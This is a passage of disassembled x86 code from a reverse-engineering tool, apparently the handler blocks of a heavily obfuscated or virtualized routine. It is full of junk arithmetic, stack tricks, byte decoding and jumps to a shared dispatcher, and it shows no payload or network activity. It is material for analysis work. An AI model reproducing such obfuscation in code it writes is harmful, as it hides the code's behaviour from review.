		adc	[esp+10h+var_10], eax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BE56C:				; CODE XREF: sub_5A55E5+E6AAj
		add	edx, ecx
		add	edx, 4EB66040h
		pop	ecx
		jmp	loc_5AFD26
; ---------------------------------------------------------------------------


loc_5BE57A:				; CODE XREF: sub_5A55E5+F66Bj
		mov	edi, 4
		jmp	loc_5BAE47
; ---------------------------------------------------------------------------


loc_5BE584:				; CODE XREF: sub_5A55E5+1390Dj
		push	78Fh
		jmp	loc_5ACBA9
; ---------------------------------------------------------------------------


loc_5BE58E:				; CODE XREF: sub_5A55E5+BB13j
		push	edi
		mov	edi, 3F9623A3h
		mov	ebx, edi
		pop	edi
		xor	ebx, esi
		pop	esi
		not	ebx
		push	eax
		jmp	loc_5B7E6A
; ---------------------------------------------------------------------------


loc_5BE5A2:				; CODE XREF: sub_5A55E5+88D3j
		sub	ebx, 0C073F2h
		sub	ebx, 64C8F6D5h
		sub	eax, ebx
		jmp	loc_5B4E2E
; ---------------------------------------------------------------------------


loc_5BE5B5:				; CODE XREF: sub_5A55E5+135E7j
		push	esp
		pop	[esp+22h+var_22]
		jmp	loc_5BAB10
; ---------------------------------------------------------------------------


loc_5BE5BE:				; CODE XREF: sub_5A55E5+182DCj
		add	esp, 4
		jmp	loc_5B3026
; ---------------------------------------------------------------------------


loc_5BE5C9:				; CODE XREF: sub_5A55E5+8BA9j
		xor	ecx, edx
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		mov	eax, ecx
		pop	ecx
		jmp	loc_5B92B5
; ---------------------------------------------------------------------------


loc_5BE5D9:				; CODE XREF: sub_5A55E5+E8FAj
		push	ebp
		push	[esp+0Ah+var_8+2]
		jmp	loc_5B58AC
; ---------------------------------------------------------------------------


loc_5BE5E3:				; CODE XREF: sub_5A55E5+19B13j
		mov	[esp+0Eh+var_10+2], edx
		jmp	loc_5AFE3A
; ---------------------------------------------------------------------------


loc_5BE5EB:				; CODE XREF: sub_5A55E5+1988Fj
		mov	ch, 0DEh
		jmp	loc_5B94A1
; ---------------------------------------------------------------------------


loc_5BE5F2:				; CODE XREF: sub_5A55E5+191E2j
		pop	ebp
		jmp	loc_5B6A2A
; ---------------------------------------------------------------------------


loc_5BE5F8:				; CODE XREF: sub_5A55E5+19629j
		sub	byte ptr [esp+0Ah+var_C+2], al
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BE601:				; CODE XREF: sub_5A55E5+13BE3j
		pop	ecx
		sub	edx, ecx
		sub	edx, 1FF7564Eh
		push	ebp
		mov	ebp, 61546416h
		xor	ebp, 282B6AA5h
		xor	ebp, 1316356Bh
		jmp	loc_5BE342
; ---------------------------------------------------------------------------


loc_5BE621:				; CODE XREF: sub_5A55E5+15A5Cj
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 78822F7Ah
		jmp	loc_5AEC41
; ---------------------------------------------------------------------------


loc_5BE62E:				; CODE XREF: sub_5A55E5+114B4j
		mov	ebx, 4DEA3977h
		dec	ebx
		or	ebx, 78B247B4h
		add	ebx, 0A96AC306h
		jmp	loc_5A9FE2
; ---------------------------------------------------------------------------


loc_5BE645:				; CODE XREF: sub_5A55E5+10397j
		sub	ebx, ecx
		pop	ecx
		jmp	loc_5AB42D
; ---------------------------------------------------------------------------


loc_5BE64D:				; CODE XREF: sub_5A55E5+13EDDj
		mov	dl, 0CCh
		inc	dl
		jmp	loc_5AD983
; ---------------------------------------------------------------------------


loc_5BE656:				; CODE XREF: sub_5A55E5+6456j
		sub	ebx, 420A3ECDh
		mov	eax, [esp+4Ah+var_4A]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5BC3F2
; ---------------------------------------------------------------------------


loc_5BE670:				; CODE XREF: sub_5A55E5+12A68j
		pop	ebp
		xor	edi, [esp+3Eh+var_3E]
		xor	[esp+3Eh+var_3E], edi
		jmp	loc_5BCAC2
; ---------------------------------------------------------------------------


loc_5BE67C:				; CODE XREF: sub_5A55E5+DD54j
		mov	edi, ecx
		pop	ecx
		sub	edi, 0FBF50378h
		jmp	loc_5B5CB2
; ---------------------------------------------------------------------------


loc_5BE68A:				; CODE XREF: sub_5A55E5+CED2j
		inc	eax
		jmp	loc_5B406F
; ---------------------------------------------------------------------------


loc_5BE690:				; CODE XREF: sub_5A55E5+F985j
		xor	ebp, ecx
		pop	ecx
		push	ecx
		jmp	loc_5BBCA4
; ---------------------------------------------------------------------------


loc_5BE699:				; CODE XREF: sub_5A55E5+D580j
		movsx	cx, al
		push	4E5Fh
		mov	[esp+62h+var_64+2], ebx
		push	esp
		jmp	loc_5B6806
; ---------------------------------------------------------------------------


loc_5BE6AB:				; CODE XREF: sub_5A55E5+CD3Aj
		xchg	edx, [esp+26h+var_26]
		pop	esp
		add	ebx, 26817583h
		sub	ebx, eax
		jmp	loc_5B1C6C
; ---------------------------------------------------------------------------


loc_5BE6BC:				; CODE XREF: sub_5A55E5+C08Bj
		mov	[esp+14h+var_14], eax
		push	ecx
		jmp	loc_5AC995
; ---------------------------------------------------------------------------


loc_5BE6C5:				; CODE XREF: sub_5A55E5+11929j
		mov	ebp, 0AE5C43F5h
		sub	ebx, 38C809EEh
		add	ebx, ebp
		push	ecx
		mov	ecx, 38C809EEh
		add	ebx, ecx
		pop	ecx
		pop	ebp
		push	ebx
		jmp	loc_5B0607
; ---------------------------------------------------------------------------


loc_5BE6E2:				; CODE XREF: sub_5A55E5+1991Cj
		add	esp, 4
		jmp	loc_5A9BBC
; ---------------------------------------------------------------------------


loc_5BE6EA:				; CODE XREF: sub_5A55E5+B7D5j
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_5B31BD
; ---------------------------------------------------------------------------


loc_5BE6FE:				; CODE XREF: sub_5A55E5+17D1Bj
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebx
		jmp	loc_5B9828
; ---------------------------------------------------------------------------


loc_5BE70C:				; CODE XREF: sub_5A55E5+DA20j
		pop	ecx
		sub	ebp, esi
		jmp	loc_5B1DFA
; ---------------------------------------------------------------------------


loc_5BE714:				; CODE XREF: sub_5A55E5+6825j
		sub	al, bl
		add	al, 12h
		add	al, 2Bh
		jmp	loc_5B3A7F
; ---------------------------------------------------------------------------


loc_5BE71F:				; CODE XREF: sub_5A55E5+87DEj
		add	esp, 4
		push	esi
		push	esp
		jmp	loc_5B7BEC
; ---------------------------------------------------------------------------


loc_5BE729:				; CODE XREF: sub_5A55E5+10170j
		pop	ecx
		sub	ebp, eax
		pop	eax
		add	ebp, esi
		add	ebp, 63F2154h
		jmp	loc_5BD0B1
; ---------------------------------------------------------------------------


loc_5BE73A:				; CODE XREF: sub_5A55E5+5DFAj
		or	edx, 573F3823h
		push	0F87h
		mov	[esp+28h+var_2A+2], esi
		mov	esi, 0AAB17FFDh
		sub	edx, esi
		pop	esi
		and	edi, edx
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+24h+var_26+2], edi
		jmp	loc_5B72CF
; ---------------------------------------------------------------------------


loc_5BE763:				; CODE XREF: sub_5A55E5+80D6j
		pop	ebp
		or	[edi+1Ch], esi
		push	[esp+2Ah+var_2A]
		pop	esi
		add	esp, 4
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BE773:				; CODE XREF: sub_5A55E5+142DEj
		add	[esp+18h+var_14], ebp
		jmp	loc_5B4C14
; ---------------------------------------------------------------------------


loc_5BE77C:				; CODE XREF: sub_5A55E5+16562j
		mov	[esp+10h+var_10], esp
		push	eax
		mov	eax, 4
		add	[esp+14h+var_10], eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		pop	edi
		push	edx
		push	esi
		mov	esi, 31F44852h
		mov	edx, esi
		pop	esi
		sub	edx, 1
		xchg	ecx, edx
		neg	ecx
		xchg	ecx, edx
		sub	edx, 0CE0BB7ABh
		jmp	loc_5B928F
; ---------------------------------------------------------------------------


loc_5BE7AE:				; CODE XREF: sub_5A55E5+12665j
		mov	esi, 5D234AAAh
		mov	ebp, 5D234AAEh
		xor	ebp, esi
		pop	esi
		add	eax, 5B0F418Fh
		add	eax, ebp
		sub	eax, 5B0F418Fh
		jmp	loc_5BE5F2
; ---------------------------------------------------------------------------


loc_5BE7CC:				; DATA XREF: sub_5A55E5+4227o
		mov	ax, word ptr [esp+14h+var_14]
		push	2A05h
		jmp	loc_5AF9C4
; ---------------------------------------------------------------------------


loc_5BE7DA:				; CODE XREF: sub_5A55E5+138F7j
		sub	[esp+44h+var_46+2], ecx
		jmp	loc_5B4ACC
; ---------------------------------------------------------------------------


loc_5BE7E2:				; CODE XREF: sub_5A55E5+142EBj
		pop	esi
		xor	edi, [esp+30h+var_32+2]
		xor	[esp+30h+var_32+2], edi
		xor	edi, [esp+30h+var_32+2]
		mov	esp, [esp+30h+var_32+2]
		mov	[esp+30h+var_32+2], edi
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		push	eax
		mov	eax, 36413CDDh
		jmp	loc_5BF06F
; ---------------------------------------------------------------------------


loc_5BE806:				; CODE XREF: sub_5A55E5+142A7j
		push	[esp+18h+var_18]
		pop	esi
		add	esp, 4
		jmp	loc_5B3760
; ---------------------------------------------------------------------------


loc_5BE812:				; CODE XREF: sub_5A55E5+E3ECj
		shr	ecx, 3
		sub	ecx, 0F97EF059h
		xor	eax, ecx
		pop	ecx
		jmp	loc_5BAF3D
; ---------------------------------------------------------------------------


loc_5BE823:				; CODE XREF: sub_5A55E5+1001Cj
		push	ebp
		mov	ebp, 70D870CAh
		sub	edx, ebp
		pop	ebp
		pop	esi
		mov	ecx, [edx]
		push	[esp+1Ch+var_1C]
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5BCC90
; ---------------------------------------------------------------------------


loc_5BE840:				; CODE XREF: sub_5A55E5+B598j
		push	esi
		mov	esi, 5EE24849h
		jmp	loc_5B8732
; ---------------------------------------------------------------------------


loc_5BE84B:				; CODE XREF: sub_5A55E5+19889j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BE850:				; CODE XREF: sub_5A55E5+58D2j
		add	ebp, 7D2CBC31h
		jmp	loc_5B8887
; ---------------------------------------------------------------------------


loc_5BE85B:				; CODE XREF: sub_5A55E5+12CD2j
		pop	ebx
		add	ecx, edx
		jmp	loc_5BE3A0
; ---------------------------------------------------------------------------


loc_5BE863:				; CODE XREF: sub_5A55E5+5D5Cj
		mov	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 20A4129Fh
		or	esi, 56B82C83h
		jmp	loc_5AAA93
; ---------------------------------------------------------------------------


loc_5BE877:				; CODE XREF: sub_5A55E5+679Fj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BE87C:				; CODE XREF: sub_5A55E5+E576j
		push	ecx
		jmp	loc_5AB309
; ---------------------------------------------------------------------------


loc_5BE882:				; CODE XREF: sub_5A55E5+139BEj
		mov	esi, 4A64259Ah
		add	esi, 0FFFFFFFFh
		shr	esi, 1
		shr	esi, 5
		push	edx
		jmp	loc_5ACBBE
; ---------------------------------------------------------------------------


loc_5BE898:				; CODE XREF: sub_5A55E5+6B1Ej
		mov	esi, 1DFA0838h
		sub	[esp+76h+var_6C+2], esi
		pop	esi
		jmp	loc_5B4B2C
; ---------------------------------------------------------------------------


loc_5BE8A7:				; CODE XREF: sub_5A55E5+11868j
		or	ecx, 195E1CCBh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1C], ebp
		mov	ebp, 4CF50AC2h
		not	ebp
		jmp	loc_5AC6F3
; ---------------------------------------------------------------------------


loc_5BE8CC:				; CODE XREF: sub_5A55E5+C096j
		add	esi, 0FE749DFh
		sub	edx, esi
		pop	esi
		sub	edx, 6E3811F0h
		jmp	loc_5B88D6
; ---------------------------------------------------------------------------


loc_5BE8E0:				; CODE XREF: sub_5A55E5+AD84j
		add	esp, 4
		jmp	loc_5BD824
; ---------------------------------------------------------------------------


loc_5BE8EB:				; CODE XREF: sub_5A55E5+119A9j
		mov	eax, 4
		jmp	loc_5B5825
; ---------------------------------------------------------------------------


loc_5BE8F5:				; CODE XREF: sub_5A55E5+FA36j
		push	[esp+24h+var_26+2]
		mov	ecx, [esp+28h+var_2A+2]
		push	ebx
		jmp	loc_5BD489
; ---------------------------------------------------------------------------


loc_5BE901:				; CODE XREF: sub_5A55E5+6F4Bj
		push	small 770Bh
		mov	word ptr [esp+12h+var_14+2], bx
		push	1824h
		jmp	loc_5B51B1
; ---------------------------------------------------------------------------


loc_5BE913:				; CODE XREF: sub_5A55E5+877Bj
		pop	edx
		add	edx, 115421DBh
		add	edx, ebx
		jmp	loc_5B1E9F
; ---------------------------------------------------------------------------


loc_5BE921:				; CODE XREF: sub_5A55E5+CD97j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], eax
		xor	eax, [esp+20h+var_22+2]
		jmp	loc_5BC100
; ---------------------------------------------------------------------------


loc_5BE93C:				; CODE XREF: sub_5A55E5+114DFj
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	esp
		jmp	loc_5BDDA7
; ---------------------------------------------------------------------------


loc_5BE947:				; CODE XREF: sub_5A55E5+8702j
		mov	[esp+18h+var_18], edx
		mov	edx, 56DF54CCh
		xor	edx, 56DA6D8Bh
		push	ebx
		mov	ebx, edx
		mov	eax, ebx
		jmp	loc_5B4F5F
; ---------------------------------------------------------------------------


loc_5BE95F:				; CODE XREF: sub_5A55E5+11051j
		not	eax
		inc	eax
		jmp	loc_5B8860
; ---------------------------------------------------------------------------


loc_5BE967:				; CODE XREF: sub_5A55E5+EF31j
		mov	eax, esp
		sub	esp, 4
		mov	[esp+26h+var_26], ecx
		push	ebp
		push	7A45h
		jmp	loc_5BDAA4
; ---------------------------------------------------------------------------


loc_5BE97A:				; CODE XREF: sub_5A55E5+17F07j
		mov	esi, esp
		jmp	loc_5BA4AE
; ---------------------------------------------------------------------------


loc_5BE981:				; CODE XREF: sub_5A55E5+A035j
		inc	edx
		dec	edx
		shl	edx, 1
		sub	edx, 4DB87856h
		jmp	loc_5B7187
; ---------------------------------------------------------------------------


loc_5BE990:				; CODE XREF: sub_5A55E5+16106j
		add	edx, edi
		pop	edi
		add	edx, 4
		jmp	loc_5BB046
; ---------------------------------------------------------------------------


loc_5BE99B:				; CODE XREF: sub_5A55E5+4453j
		neg	edi
		shl	edi, 3
		jmp	loc_5B030C
; ---------------------------------------------------------------------------


loc_5BE9A5:				; CODE XREF: sub_5A55E5+10ACEj
		add	ecx, ebx
		jmp	loc_5B0F9A
; ---------------------------------------------------------------------------


loc_5BE9AC:				; DATA XREF: sub_5A55E5+41ABo
		lodsb
		xor	al, bl
		sub	esp, 2
		mov	word ptr [esp+14h+var_14], dx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_5BCE76
; ---------------------------------------------------------------------------


loc_5BE9CD:				; CODE XREF: sub_5A55E5+A94Dj
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AF0E0
; ---------------------------------------------------------------------------


loc_5BE9E4:				; CODE XREF: sub_5A55E5+9C0Bj
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ebx
		sub	[esp+28h+var_2A+2], 584C6C2Bh
		pop	esi
		add	esi, 584C6C2Bh
		push	esi
		pop	edi
		mov	esi, [esp+24h+var_26+2]
		push	edx
		mov	edx, esp
		jmp	loc_5B0494
; ---------------------------------------------------------------------------


loc_5BEA05:				; CODE XREF: sub_5A55E5+E6B1j
		pop	edi
		push	eax
		jmp	loc_5B0FFB
; ---------------------------------------------------------------------------


loc_5BEA0C:				; CODE XREF: sub_5A55E5+16010j
		pop	esp
		push	4F31h
		jmp	loc_5AADCE
; ---------------------------------------------------------------------------


loc_5BEA17:				; CODE XREF: sub_5A55E5+17DC4j
		add	ebp, 43076600h
		add	ebp, 2E8786B4h
		xor	ebx, ebp
		jmp	loc_5BABED
; ---------------------------------------------------------------------------


loc_5BEA2A:				; CODE XREF: sub_5A55E5+6FABj
		sar	[esp+0Ah+var_C+2], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BEA33:				; CODE XREF: sub_5A55E5+1052Cj
		add	edi, 1BB62F07h
		jmp	loc_5ABA17
; ---------------------------------------------------------------------------


loc_5BEA3E:				; CODE XREF: sub_5A55E5+B3B4j
		sub	esp, 4
		mov	[esp+32h+var_32], edi
		sub	esp, 4
		mov	[esp+36h+var_36], edx
		jmp	loc_5ACD27
; ---------------------------------------------------------------------------


loc_5BEA52:				; CODE XREF: sub_5A55E5+179E7j
		add	bl, al
		push	eax
		mov	al, 35h
		sub	al, 39h
		dec	al
		add	al, 0B6h
		shr	al, 1
		neg	al
		push	edx
		mov	dh, 78h
		dec	dh
		shr	dh, 3
		add	dh, 6Bh
		xor	al, dh
		jmp	loc_5B71D9
; ---------------------------------------------------------------------------


loc_5BEA73:				; CODE XREF: sub_5A55E5+6D1Cj
		push	ecx
		jmp	loc_5B526C
; ---------------------------------------------------------------------------


loc_5BEA79:				; CODE XREF: sub_5A55E5+EE66j
		xchg	ebp, [esp+2Ah+var_2A]
		pop	esp
		push	ebx
		jmp	loc_5B3E66
; ---------------------------------------------------------------------------


loc_5BEA83:				; CODE XREF: sub_5A55E5+19E29j
		mov	ebp, 4F304C03h
		neg	ebp
		jmp	loc_5BF384
; ---------------------------------------------------------------------------


loc_5BEA8F:				; CODE XREF: sub_5A55E5+150E8j
		add	al, ch
		jmp	loc_5AB487
; ---------------------------------------------------------------------------


loc_5BEA96:				; CODE XREF: sub_5A55E5+6418j
		pop	esp
		jmp	loc_5BAFBD
; ---------------------------------------------------------------------------


loc_5BEA9C:				; CODE XREF: sub_5A55E5+18052j
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_5B0E6F
; ---------------------------------------------------------------------------


loc_5BEAAA:				; CODE XREF: sub_5A55E5+7B8Bj
		push	ecx
		push	[esp+3Ah+var_36]
		pop	ecx
		pop	[esp+3Ah+var_3A]
		pop	esp
		jmp	loc_5AAC98
; ---------------------------------------------------------------------------


loc_5BEAB9:				; CODE XREF: sub_5A55E5+17BB0j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BEABE:				; CODE XREF: sub_5A55E5+748Aj
		sub	esp, 4
		mov	[esp+36h+var_36], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		sub	esp, 4
		mov	[esp+3Ah+var_3A], esi
		jmp	loc_5B3BE0
; ---------------------------------------------------------------------------


loc_5BEAE0:				; CODE XREF: sub_5A55E5+13528j
		sub	ecx, 397FDEFDh
		add	edi, ecx
		pop	ecx
		xor	edi, [esp+2Ah+var_2A]
		xor	[esp+2Ah+var_2A], edi
		xor	edi, [esp+2Ah+var_2A]
		mov	esp, [esp+2Ah+var_2A]
		shr	byte ptr [esp+2Ah+var_2A], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BEAFE:				; CODE XREF: sub_5A55E5+BEB7j
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		jmp	loc_5B3584
; ---------------------------------------------------------------------------


loc_5BEB09:				; CODE XREF: sub_5A55E5+4D60j
		add	esp, 4
		push	eax
		mov	eax, 6323503Bh
		jmp	loc_5B507A
; ---------------------------------------------------------------------------


loc_5BEB1A:				; CODE XREF: sub_5A55E5+AD3Cj
		pop	esi
		push	ebp
		push	esp
		jmp	loc_5B5D2A
; ---------------------------------------------------------------------------


loc_5BEB22:				; CODE XREF: sub_5A55E5+890Aj
		mov	[esp+6Ch+var_6C], edi
		mov	edi, 169D0024h
		jmp	loc_5B1AAA
; ---------------------------------------------------------------------------


loc_5BEB2F:				; CODE XREF: sub_5A55E5+1787Aj
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		mov	eax, [esp+1Ch+var_1C]
		jmp	loc_5B22E1
; ---------------------------------------------------------------------------


loc_5BEB3D:				; CODE XREF: sub_5A55E5+D7AAj
		add	esp, 4
		xor	al, dl
		pop	edx
		jmp	loc_5BBA57
; ---------------------------------------------------------------------------


loc_5BEB4B:				; CODE XREF: sub_5A55E5+1384Aj
		push	eax
		jmp	loc_5BC114
; ---------------------------------------------------------------------------


loc_5BEB51:				; CODE XREF: sub_5A55E5+81BEj
		not	edx
		push	edi
		mov	edi, 0B2818BFDh
		xor	edx, edi
		pop	edi
		add	ecx, edx
		pop	edx
		pop	esi
		jmp	loc_5BC333
; ---------------------------------------------------------------------------


loc_5BEB65:				; CODE XREF: sub_5A55E5+B676j
		mov	ebp, [esp+8+var_8]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5AD1C9
; ---------------------------------------------------------------------------


loc_5BEB76:				; CODE XREF: sub_5A55E5+E203j
		add	eax, ebx
		add	eax, 0F1B0BABh
		pop	ebx
		jmp	loc_5BE2AC
; ---------------------------------------------------------------------------


loc_5BEB83:				; CODE XREF: sub_5A55E5+C654j
		push	esp
		push	[esp+2Ch+var_2E+2]
		pop	ebp
		jmp	loc_5B384C
; ---------------------------------------------------------------------------


loc_5BEB8D:				; CODE XREF: sub_5A55E5+10373j
		add	ecx, 1796106Dh
		pop	ebp
		jmp	loc_5B2B59
; ---------------------------------------------------------------------------


loc_5BEB99:				; CODE XREF: sub_5A55E5+AC2Cj
		mov	eax, ecx
		pop	ecx
		add	ebp, eax
		pop	eax
		jmp	loc_5AACDA
; ---------------------------------------------------------------------------


loc_5BEBA4:				; CODE XREF: sub_5A55E5+1007Ej
		push	621Fh
		mov	[esp+48h+var_4A+2], ebx
		mov	ebx, 7EE02EEAh
		sub	ebx, 0FFFFFFFFh
		push	ebx
		jmp	loc_5ACAD1
; ---------------------------------------------------------------------------


loc_5BEBBA:				; CODE XREF: sub_5A55E5+F97Bj
		push	[esp+36h+var_36]
		push	[esp+3Ah+var_3A]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	75AFh
		mov	[esp+42h+var_42], eax
		jmp	loc_5B6FC3
; ---------------------------------------------------------------------------


loc_5BEBD7:				; CODE XREF: sub_5A55E5+7AAAj
		mov	esi, esp
		jmp	loc_5BC72C
; ---------------------------------------------------------------------------


loc_5BEBDE:				; CODE XREF: sub_5A55E5+10DD8j
		add	esp, 4
		jmp	loc_5AE939
; ---------------------------------------------------------------------------


loc_5BEBE9:				; CODE XREF: sub_5A55E5+14565j
		add	ebp, 0EDB60BC3h
		or	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 5AE420A0h
		jmp	loc_5AFBCE
; ---------------------------------------------------------------------------


loc_5BEBFD:				; CODE XREF: sub_5A55E5+155E6j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5B7D55
; ---------------------------------------------------------------------------


loc_5BEC0A:				; CODE XREF: sub_5A55E5+693Cj
		pop	[esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_5BE5F8
; ---------------------------------------------------------------------------


loc_5BEC13:				; CODE XREF: sub_5A55E5+14D30j
		mov	edx, eax
		pop	eax
		mov	edi, [esp+24h+var_26+2]
		add	esp, 4
		dec	edx
		shr	edx, 6
		shr	edx, 5
		xchg	ecx, edx
		dec	ecx
		jmp	loc_5BD9BC
; ---------------------------------------------------------------------------


loc_5BEC2E:				; CODE XREF: sub_5A55E5+18AD7j
		add	edx, 925D05A9h
		push	48FCh
		jmp	loc_5B9C7F
; ---------------------------------------------------------------------------


loc_5BEC3E:				; CODE XREF: sub_5A55E5+B176j
		mov	edi, [esp+2Ah+var_2A]
		add	esp, 4
		push	esi
		push	ebx
		sub	esp, 4
		jmp	loc_5BC99F
; ---------------------------------------------------------------------------


loc_5BEC51:				; CODE XREF: sub_5A55E5+10134j
		pop	ebx
		xchg	edx, [esp+16h+var_18+2]
		pop	esp
		mov	[esp+12h+var_14+2], edx
		mov	dx, 7F7Ah
		add	dx, 0FFFFh
		dec	dx
		push	small 722Eh
		mov	word ptr [esp+14h+var_14], si
		jmp	loc_5B0AEE
; ---------------------------------------------------------------------------


loc_5BEC70:				; CODE XREF: sub_5A55E5+DF6Aj
		xor	ebx, ebp
		push	[esp+24h+var_26+2]
		pop	ebp
		add	esp, 4
		push	esi
		jmp	loc_5BE2F7
; ---------------------------------------------------------------------------


loc_5BEC82:				; CODE XREF: sub_5A55E5+10DFAj
		push	10AFh
		jmp	loc_5BC3E9
; ---------------------------------------------------------------------------


loc_5BEC8C:				; CODE XREF: sub_5A55E5+16613j
		mov	esi, 3E0E5AEDh
		dec	esi
		sub	esi, 6DB866F4h
		sub	esi, 8AA875E9h
		jmp	loc_5B7A06
; ---------------------------------------------------------------------------


loc_5BECA3:				; CODE XREF: sub_5A55E5+B6CBj
		xor	ebx, ecx
		pop	ecx
		add	esi, ebx
		push	[esp+30h+var_32+2]
		pop	ebx
		push	ebp
		jmp	loc_5BDA70
; ---------------------------------------------------------------------------


loc_5BECB2:				; CODE XREF: sub_5A55E5+645Ej
		mov	edx, ebx
		mov	ebx, [esp+46h+var_46]
		add	esp, 4
		add	ecx, 6CCB295Bh
		jmp	loc_5B32CF
; ---------------------------------------------------------------------------


loc_5BECC5:				; DATA XREF: sub_5A55E5+4233o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+12h+var_14+2], cl
		pushf
		jmp	loc_5ADFB4
; ---------------------------------------------------------------------------


loc_5BECD4:				; CODE XREF: sub_5A55E5+AF22j
		push	esp
		pop	ebp
		push	ebx
		push	9D8h
		mov	[esp+20h+var_22+2], eax
		push	edx
		mov	edx, 42DF08E3h
		mov	eax, 42DF08E7h
		push	edx
		jmp	loc_5AF9EC
; ---------------------------------------------------------------------------


loc_5BECF0:				; CODE XREF: sub_5A55E5+986Cj
		mov	edx, 85A04837h
		jmp	loc_5ADD5E
; ---------------------------------------------------------------------------


loc_5BECFA:				; CODE XREF: sub_5A55E5+17C76j
		push	esi
		mov	esi, 3153388Ch
		sub	esi, 5415CC2h
		jmp	loc_5AA201
; ---------------------------------------------------------------------------


loc_5BED0B:				; CODE XREF: sub_5A55E5+1041Aj
		pop	ebx
		push	edi
		sub	esp, 4
		jmp	loc_5B0E93
; ---------------------------------------------------------------------------


loc_5BED15:				; CODE XREF: sub_5A55E5+5A70j
		mov	[esp+30h+var_32+2], ebx
		mov	ebx, 455C6CB9h
		shr	ebx, 1
		jmp	loc_5B39E7
; ---------------------------------------------------------------------------


loc_5BED24:				; CODE XREF: sub_5A55E5+E2C4j
		mov	esp, [esp+24h+var_26+2]
		mov	[esp+24h+var_26+2], eax
		jmp	loc_5AED4D
; ---------------------------------------------------------------------------


loc_5BED2F:				; CODE XREF: sub_5A55E5+125C3j
		add	bl, al
		add	bl, 7Eh
		mov	ax, word ptr [esp+62h+var_64+2]
		add	esp, 2
		shr	bl, 5
		push	ecx
		mov	cl, 0C0h
		add	bl, cl
		pop	ecx
		jmp	loc_5ABF06
; ---------------------------------------------------------------------------


loc_5BED49:				; CODE XREF: sub_5A55E5+12E7Cj
		add	esp, 4
		or	[edi+1Ch], esi
		mov	esi, [esp+12h+var_14+2]
		add	esp, 4


loc_5BED58:				; CODE XREF: sub_5A55E5+19A23j
		push	7CAFh
		mov	[esp+12h+var_14+2], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+16h+var_18+2]
		pop	esp
		mov	[esp+12h+var_14+2], esi
		jmp	loc_5B1186
; ---------------------------------------------------------------------------


loc_5BED78:				; CODE XREF: sub_5A55E5+BDE7j
		pop	edx
		sub	al, bh
		jmp	loc_5BD305
; ---------------------------------------------------------------------------


loc_5BED80:				; CODE XREF: sub_5A55E5+18BA6j
		add	[esp+28h+var_22+2], 27685F79h
		add	[esp+28h+var_22+2], ecx
		sub	[esp+28h+var_22+2], 27685F79h
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_5B77FA
; ---------------------------------------------------------------------------


loc_5BEDA2:				; CODE XREF: sub_5A55E5+B07Aj
		add	esi, ecx
		pop	ecx
		mov	edx, esi
		pop	esi
		neg	edx
		or	edx, 3FC74512h
		jmp	loc_5B5EBA
; ---------------------------------------------------------------------------


loc_5BEDB5:				; CODE XREF: sub_5A55E5+10920j
		push	edx
		mov	dh, al
		mov	bh, dh
		jmp	loc_5B33AC
; ---------------------------------------------------------------------------


loc_5BEDBF:				; CODE XREF: sub_5A55E5+16221j
		pop	ecx
		mov	ch, bl
		pop	ebx
		jmp	loc_5AACD2
; ---------------------------------------------------------------------------


loc_5BEDC8:				; CODE XREF: sub_5A55E5+135AAj
		push	esi
		mov	esi, 712A7A23h
		jmp	loc_5B541A
; ---------------------------------------------------------------------------


loc_5BEDD3:				; CODE XREF: sub_5A55E5+17044j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BEDD8:				; DATA XREF: sub_5A55E5+4343o
		push	3CC1h
		mov	[esp+18h+var_18], edi
		jmp	loc_5BDD00
; ---------------------------------------------------------------------------


loc_5BEDE5:				; CODE XREF: sub_5A55E5+1214Aj
		add	ebp, 4
		jmp	loc_5B7173
; ---------------------------------------------------------------------------


loc_5BEDED:				; CODE XREF: sub_5A55E5+11E97j
		add	esp, 4
		add	ch, ah
		pop	ax
		sub	esp, 4
